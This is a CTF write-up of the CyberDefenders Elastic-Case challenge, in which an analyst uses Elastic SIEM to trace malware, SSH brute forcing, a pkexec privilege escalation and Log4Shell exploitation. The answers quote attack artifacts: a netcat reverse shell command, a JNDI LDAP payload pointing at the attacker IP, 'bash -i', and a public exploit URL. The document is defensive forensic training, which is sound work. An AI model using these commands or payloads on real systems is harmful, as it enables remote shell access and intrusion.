CyberDefenders: Elastic-Case
Overview:
Elastic-Case is a medium-difficulty challenge hosted by CyberDefenders. It involves using Elastic as a SIEM to trace malicious activity on a compromised network. For this challenge, I mostly used Discover for queries, though I tried to incorporate Elastic Security as well.
Scenario:
An attacker was able to trick an employee into downloading a suspicious file and running it. The attacker compromised the system, along with that, The Security Team did not update most systems. The attacker was able to pivot to another system and compromise the company. As a SOC analyst, you are assigned to investigate the incident using Elastic as a SIEM tool and help the team to kick out the attacker.
Q1
Who downloads the malicious file which has a double extension?
We’ll start by checking what kind of security alerts were triggered.
Navigate to Security -> Alerts.
Here we can see that Malware Detection Alert was triggered 19 times.
We’re looking for the user who downloaded the malicious file, so let’s look at those.
Hover over Malware Detection Alert and click “Filter In” on the popup.
With our query filtered, we can spot an executable with a double extension that was downloaded by the user ahmed.
Answer: ahmed
Q2
What is the hostname he was using?
The hostname was included in the previous query results. You might have to expand the host.name field to get the entire value. Alternatively, you can expand the event details by clicking the arrows on the left side.
Answer: DESKTOP-Q1SL9P2
Q3
What is the name of the malicious file?
Referring back to our malware alerts, we know the malicious file is named Acount_details.pdf.exe.
Answer: Acount_details.pdf.exe
Q4
What is the attacker’s IP address?
We’ll need to analyze information involving the execution of the malware to determine the IP address. To navigate to the relevant analyzer screen, click Analyze Event -> Network -> Network End.
Note: We want to analyze the event of the malicious process executing, not the preceding download events.
Once we’ve navigated to the network end event we’ll find the IP address that the malware reached out to.
Alternatively, we can find the attacker’s IP address using Discover by querying for events that include the ahmed username, the malicious process, and a network connection.
Answer: 192.168.1.10
Q5
Another user with high privilege runs the same malicious file. What is the username?
Going back to the malware alerts, we can create a filter to exclude the ahmed user from the results.
The results show the only other user that executed the malware was cybery.
Answer: cybery
Q6
The attacker was able to upload a DLL file of size 8704. What is the file name?
We can keep this simple and query for file extension and file size.
Answer: mCblHDgWP.dll
Q7
What parent process name spawns cmd with NT AUTHORITY privilege and pid 10716?
Another simple query, this time we’ll look for the process ID of 10716 and the process name of cmd.exe.
Alternatively, we can perform the same query and analyze the corresponding event in Elastic Security.
Answer: rundll32.exe
Q8
The previous process was able to access a registry. What is the full path of the registry?
If we query for rundll32.exe’s PID and process name, we can check what fields are available in the corresponding events. A quick search for “registry” shows us there are values for registry.path.
Knowing this, we can query for events with values for the registry.path field and create a column for it.
Alternatively, we can use our previous Elastic Security event and inspect the registry value for the rundll32.exe parent process.
Answer: HKLM\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
Q9
PowerShell process with pid 8836 changed a file in the system. What was that filename?
We can repeat the process from the previous question. We’ll start by querying for the PID, process name, and events that include a file.name value. Then we’ll search for relevant fields and apply them to the query. In this case, event.type does the trick.
Elastic Secure, as it turns out, makes the process much quicker.
Within our previous Elastic Secure window we can see there is a PowerShell process spawned by cmd.exe. Checking that process information confirms the PID and includes the filename.
Answer: ModuleAnalysisCache
Q10
PowerShell process with pid 11676 created files with the ps1 extension. What is the first file that has been created?
We can use the same query from our previous Discover, just change the PID and event.type.
Answer: __PSScriptPolicyTest_bymwxuft.3b5.ps1
Q11
What is the machine’s IP address that is in the same LAN as a windows machine?
Many of the events we’ve looked at have included the IP address of the Windows machine in the details, but we can get this information by going to the hosts screen under Elastic Security as well.
If we check the other devices listed, the only one that is on the same network is the Ubuntu host.
Answer: 192.168.10.30
Q12
The attacker login to the Ubuntu machine after a brute force attack. What is the username he was successfully login with?
We can start by determining the source of the brute force attack. One simple way of getting started is by building a table of usernames. With this table, we can quickly skim for obvious brute-force attempts and use a specific event to form our parameters.
We can see some usernames that are almost certainly generated from an attack, so we’ll use password147 as our example to determine the appropriate parameters.
Now we know we can use event.action and event.outcome to query the appropriate events. We can also see the host is Ubuntu. Further down in the output, the Windows machine is listed as the source.
With that information, we’ll create our query to search for ssh_login events with any value for event.outcome.
Answer: salem
Q13
After that attacker downloaded the exploit from the GitHub repo using wget. What is the full URL of the repo?
We’ll search for processes run by the salem user with the wget as the process name.
Answer: https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py
Q14
After The attacker runs the exploit, which spawns a new process called pkexec, what is the process’s md5 hash?
We can search for events with pkexec as the process name and filter for the md5 hash.
Answer: 3a4ad518e9e404a6bad3d39dfebaf2f6
Q15
Then attacker gets an interactive shell by running a specific command on the process id 3011 with the root user. What is the command?
We’ll keep it simple and query for the PID and root user.
Answer: bash -i
Q16
What is the hostname which alert signal.rule.name: “Netcat Network Activity”?
For this, we’ll head back to Elastic Security, from there it’s easy to check the alert details.
Answer: CentOS
Q17
What is the username who ran netcat?
We can see the username from the details in Q16.
Answer: solr
Q18
What is the parent process name of netcat?
We’ll analyze the event in Elastic Security.
Q19
If you focus on nc process, you can get the entire command that the attacker ran to get a reverse shell. Write the full command?
While we’re in Elastic Security we’ll open the process details.
Of course, we can also see this information within Discover with our standard query.
Answer: nc -e /bin/bash 192.168.1.10 9999
Q20
From the previous three questions, you may remember a famous java vulnerability. What is it?
Answer: Log4Shell
Q21
What is the entire log file path of the “solr” application?
For this, we’ll simply query for file paths containing “solr”.
The thing to note about this question is that we should be querying filebeat because it is used for application logs.
Answer: /var/solr/logs/solr.log
Q22
What is the path that is vulnerable to log4j?
If we inspect the message field of the event, we can see many important indicators.
Answer: /admin/cores
Q23
What is the GET request parameter used to deliver log4j payload?
The information is in the previous message field.
Answer: foo
Q24
What is the JNDI payload that is connected to the LDAP port?
The information is in the previous message field.
Answer: {foo=${jndi:ldap://192.168.1.10:1389/Exploit}}
Conclusion:
This was a long and somewhat challenging CTF. It was a lot of fun uncovering all the activities of the threat actor, and it was interesting to explore Elastic Security a bit more. I’d like to revisit this challenge in the future and use Elastic Security for each of the questions.
